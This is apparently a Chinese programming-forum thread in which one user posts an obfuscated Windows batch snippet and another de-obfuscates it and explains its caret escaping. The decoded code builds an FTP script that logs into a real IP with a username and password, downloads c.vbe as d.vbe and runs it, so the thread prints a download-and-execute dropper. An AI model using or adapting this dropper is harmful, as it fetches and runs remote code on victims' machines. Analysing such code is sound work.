日期:2014-05-17 浏览次数:20806 次
set f=o 221.231.13 echo %a%%f%8.33^>z>c echo %a%tw520^>^>z>>c echo %a%123123^>^>z>>c echo %a%get c.vbe d.vbe^>^>z>>c echo %a%by^>^>z>>c set g=.co echo %b%%s%s:z>>c echo %o%rt d.vbe>>c set s= - set b=ftp set a=echo ren c y.bat set o=sta y
------解决方案--------------------
就不能自己动手弄下,大小写转换,&分行,获取echo生成的c,变量替换,有人就喜欢这样绕来绕去
%comspec% /c
set f=o 221.231.13
echo %a%%f%8.33^>z>c
echo %a%tw520^>^>z>>c
echo %a%123123^>^>z>>c
echo %a%get c.vbe d.vbe^>^>z>>c
echo %a%by^>^>z>>c
set g=.co
echo %b%%s%s:z>>c
echo %o%rt d.vbe>>c
set s=-
set b=ftp
set a=echo
ren c y.bat
set o=sta
y
生成z文件,还就是ftp脚本
o 221.231.138.33
tw520
123123
get c.vbe d.vbe
by
调用z文件做事
ftp-s:z
start d.vbe
"^>Z>C 是什么意思",这个用于echo输出,echo xxx >x,不是重定向到x了,如重定向内容中有>就得加转义符